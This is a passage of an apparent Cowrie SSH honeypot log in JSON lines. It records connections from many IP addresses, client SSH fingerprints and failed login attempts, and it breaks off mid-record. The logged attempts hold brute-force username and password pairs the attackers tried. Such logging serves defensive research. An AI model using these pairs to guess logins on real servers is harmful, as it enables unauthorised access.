{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:34:05.631144Z","src_ip":"165.154.5.173","session":"4fe05d0eabbf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.253.45.10","src_port":39122,"dst_ip":"10.17.0.5","dst_port":22,"session":"3261bc010a71","protocol":"ssh","message":"New connection: 46.253.45.10:39122 (10.17.0.5:22) [session: 3261bc010a71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:34:20.336759Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:34:20.342443Z","src_ip":"46.253.45.10","session":"3261bc010a71","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:34:20.467496Z","src_ip":"46.253.45.10","session":"3261bc010a71","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"fjbdfdjkdsfs541544AA@@","message":"login attempt [ubuntu/fjbdfdjkdsfs541544AA@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:34:20.997326Z","src_ip":"46.253.45.10","session":"3261bc010a71","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:34:22.126459Z","src_ip":"46.253.45.10","session":"3261bc010a71","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.147.144.172","src_port":40796,"dst_ip":"159.203.135.109","dst_port":22,"session":"21d10d4143f7","protocol":"ssh","message":"New connection: 176.147.144.172:40796 (159.203.135.109:22) [session: 21d10d4143f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:34:24.892597Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:34:24.897718Z","src_ip":"176.147.144.172","session":"21d10d4143f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:34:24.993472Z","src_ip":"176.147.144.172","session":"21d10d4143f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"AAA123456","message":"login attempt [root/AAA123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:34:25.408428Z","src_ip":"176.147.144.172","session":"21d10d4143f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:34:26.508348Z","src_ip":"176.147.144.172","session":"21d10d4143f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":54734,"dst_ip":"159.203.135.109","dst_port":22,"session":"3acf363e568e","protocol":"ssh","message":"New connection: 103.153.68.219:54734 (159.203.135.109:22) [session: 3acf363e568e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:34:29.068447Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:34:29.073819Z","src_ip":"103.153.68.219","session":"3acf363e568e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:34:29.323401Z","src_ip":"103.153.68.219","session":"3acf363e568e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"soso123aljg","message":"login attempt [root/soso123aljg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:34:30.073200Z","src_ip":"103.153.68.219","session":"3acf363e568e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:34:31.327033Z","src_ip":"103.153.68.219","session":"3acf363e568e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.228.138","src_port":60384,"dst_ip":"159.203.135.109","dst_port":22,"session":"3d03d384c5a0","protocol":"ssh","message":"New connection: 137.184.228.138:60384 (159.203.135.109:22) [session: 3d03d384c5a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:34:32.337289Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:34:32.342255Z","src_ip":"137.184.228.138","session":"3d03d384c5a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:34:32.419166Z","src_ip":"137.184.228.138","session":"3d03d384c5a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sinusbot","password":"sinusbot","message":"login attempt [sinusbot/sinusbot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:34:32.756755Z","src_ip":"137.184.228.138","session":"3d03d384c5a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:34:33.836808Z","src_ip":"137.184.228.138","session":"3d03d384c5a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":58038,"dst_ip":"10.17.0.5","dst_port":22,"session":"77375368b6a7","protocol":"ssh","message":"New connection: 193.228.128.84:58038 (10.17.0.5:22) [session: 77375368b6a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:34:36.658590Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:34:36.663814Z","src_ip":"193.228.128.84","session":"77375368b6a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:34:36.766371Z","src_ip":"193.228.128.84","session":"77375368b6a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mazda323","message":"login attempt [root/mazda323] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:34:37.075182Z","src_ip":"193.228.128.84","session":"77375368b6a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:34:38.192412Z","src_ip":"193.228.128.84","session":"77375368b6a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":42912,"dst_ip":"159.203.135.109","dst_port":22,"session":"d207718427cc","protocol":"ssh","message":"New connection: 62.133.63.178:42912 (159.203.135.109:22) [session: d207718427cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:34:39.255407Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:34:39.261440Z","src_ip":"62.133.63.178","session":"d207718427cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:34:39.378490Z","src_ip":"62.133.63.178","session":"d207718427cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"03111987","message":"login attempt [root/03111987] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:34:39.729230Z","src_ip":"62.133.63.178","session":"d207718427cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:34:40.849336Z","src_ip":"62.133.63.178","session":"d207718427cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.170.155","src_port":41086,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f00f2e1e8b1","protocol":"ssh","message":"New connection: 43.156.170.155:41086 (10.17.0.5:22) [session: 7f00f2e1e8b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:34:47.182480Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:34:47.186644Z","src_ip":"43.156.170.155","session":"7f00f2e1e8b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:34:47.432498Z","src_ip":"43.156.170.155","session":"7f00f2e1e8b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test123!@#","message":"login attempt [test/test123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:34:48.444775Z","src_ip":"43.156.170.155","session":"7f00f2e1e8b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:34:49.695382Z","src_ip":"43.156.170.155","session":"7f00f2e1e8b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"121.229.25.10","src_port":49037,"dst_ip":"10.17.0.5","dst_port":22,"session":"310d91579ec0","protocol":"ssh","message":"New connection: 121.229.25.10:49037 (10.17.0.5:22) [session: 310d91579ec0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:35:01.398543Z"}
{"eventid":"cowrie.session.connect","src_ip":"36.91.81.195","src_port":55622,"dst_ip":"159.203.135.109","dst_port":22,"session":"ee6627086c89","protocol":"ssh","message":"New connection: 36.91.81.195:55622 (159.203.135.109:22) [session: ee6627086c89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:35:08.077790Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:35:08.083512Z","src_ip":"36.91.81.195","session":"ee6627086c89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.181.156.205","src_port":55247,"dst_ip":"10.17.0.5","dst_port":22,"session":"ac3afefc11e8","protocol":"ssh","message":"New connection: 41.181.156.205:55247 (10.17.0.5:22) [session: ac3afefc11e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:35:08.108534Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:35:08.116237Z","src_ip":"41.181.156.205","session":"ac3afefc11e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:35:08.352490Z","src_ip":"36.91.81.195","session":"ee6627086c89","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sh